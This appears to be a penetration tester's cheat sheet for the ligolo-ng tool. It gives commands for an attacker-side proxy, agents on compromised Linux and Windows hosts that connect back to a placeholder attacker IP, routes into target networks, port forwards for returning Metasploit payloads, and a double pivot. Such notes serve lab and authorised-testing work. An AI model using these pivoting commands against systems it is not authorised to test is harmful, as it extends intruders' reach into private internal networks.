Setup Proxy (Attacker Machine)

```
# ligolo-proxy --self-cert
```

Sets up a ligolo proxy on the default port (11601) with a self-signed certificate.

Setup Agent (Agent Machine - Linux)

```
$ bash ./agent -connect {attackerIP}:{port} -ignore-cert
```

Connects back to the ligolo proxy running on the attacker's machine. Default port is 11601.

Setup Agent (Agent Machine - Windows)

```
agent.exe -connect {attackerIP}:{port} -ignore-cert
```

Connects back to the ligolo proxy running on the attacker's machine. Default port is 11601.

Setup Tunnel (Attacker Machine)

```
ligolo-ng >> session
>> {session}
>> tunnel_start --tun {tunnelName}
>> ifconfig
>> interface_add_route --name {tunnelName} --route {IPRange}
```

Starts a tunnel with the given name, and adds a route to the attacker machine to the target IP range. This allows tooling to be used via a jump box without the use of proxychains or other techniques. Additional routes can be added via additional usage of `interface_add_route`. `session` is usually set to 1 unless multiple agents are in use.

Setup Port Forward (Attacker Machine)

```
# listener_add --addr 0.0.0.0:{remotePort} --to
127.0.0.1:{localPort}
```

Allows port forwarding from the pivot machine to the attacker machine. Useful for allowing upload of files via simple python web servers or Metasploit payloads to reach back to the attacker.

Setup Double Pivot (Uses Attacker Machine, Agent 1 Machine, Agent 2 Machine)
Step 1 (Attacker Machine)

1. Setup the ligolo proxy and agent on the first agent machine.
2. Setup a port forward (listener) to forward traffic from a remotePort to the ligolo listener port on the attacker machine (default port 11601).

3. Run the ligolo agent on the agent 2 machine, with the port set to the remotePort, and the attackerIP set to the IP address of the agent 1 machine.
4. Setup a new tunnel and route for the second agent's local network.